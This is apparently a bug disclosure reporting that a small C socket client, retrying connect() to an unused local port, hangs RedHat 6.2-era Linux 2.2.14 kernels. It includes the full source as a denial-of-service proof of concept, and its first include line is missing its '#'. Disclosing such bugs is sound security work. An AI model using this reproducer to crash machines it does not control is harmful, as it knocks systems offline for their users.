The program below causes the standard RedHat 6.2 kernel (2.2.14-5.0)
and other recent versions (2.2.14-6.1.1, 2.2.15pre19) to hang.
The machine is completely dead and has to be power-cycled.

Run the program "client" below as follows:
----
$ ./client localhost 12345
----
Here, "12345" can be any port on the local host to which no server
is listening.

The ouput will be something like this:
----
Wait, server not yet up
Wait, server not yet up
Wait, server not yet up
Wait, server not yet up
Wait, server not yet up
Wait, server not yet up
----
at which point the machine hangs.
We have tried this on several Pentium Pro and Pentium III
machines, all with the same effect.
The amount of "Wait, server not yet up" messages before the
crash happens is not predictable, but is usually somewhere
between four and seven times.

Regards,
Kees Verstoep

---------- client.c --------------
include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <sys/time.h>
#include <unistd.h>
#include <errno.h>


int
main(int argc, char *argv[])
{
    int         sock;
    struct sockaddr_in server;
    struct hostent *hp;
    unsigned short port;
    char       *hostname;

    if (argc != 3) {
        fprintf(stderr, "Usage: %s <server-host> <port>\n", argv[0]);
        exit(33);
    }

    hostname = argv[1];
    port = htons(atoi(argv[2]));

     /* Create socket. */
    sock = socket(AF_INET, SOCK_STREAM, 0);
    if (sock == -1) {
        perror("opening stream socket");
        exit(1);
    }

    /* Connect socket using name specified by command line. */
    server.sin_family = AF_INET;

    /* gethostbyname returns a structure including the network address
     * of the specified host.
     */
    hp = gethostbyname(hostname);
    if (hp == (struct hostent *) 0) {
        fprintf(stderr, "%s: unknown host\n", argv[1]);
        exit(2);
    }
    memcpy((char *) &server.sin_addr, (char *) hp->h_addr, hp->h_length);

    server.sin_port = port;
    while (connect(sock, (struct sockaddr *) &server, sizeof server) == -1)
{
        if (errno == ECONNREFUSED) {
            fprintf(stderr, "Wait, server not yet up\n");
            sleep(1);
        } else {
            perror("connecting stream socket");
            exit(1);
        }
    }

    close(sock);

    return 0;
}
-------- client.c ----------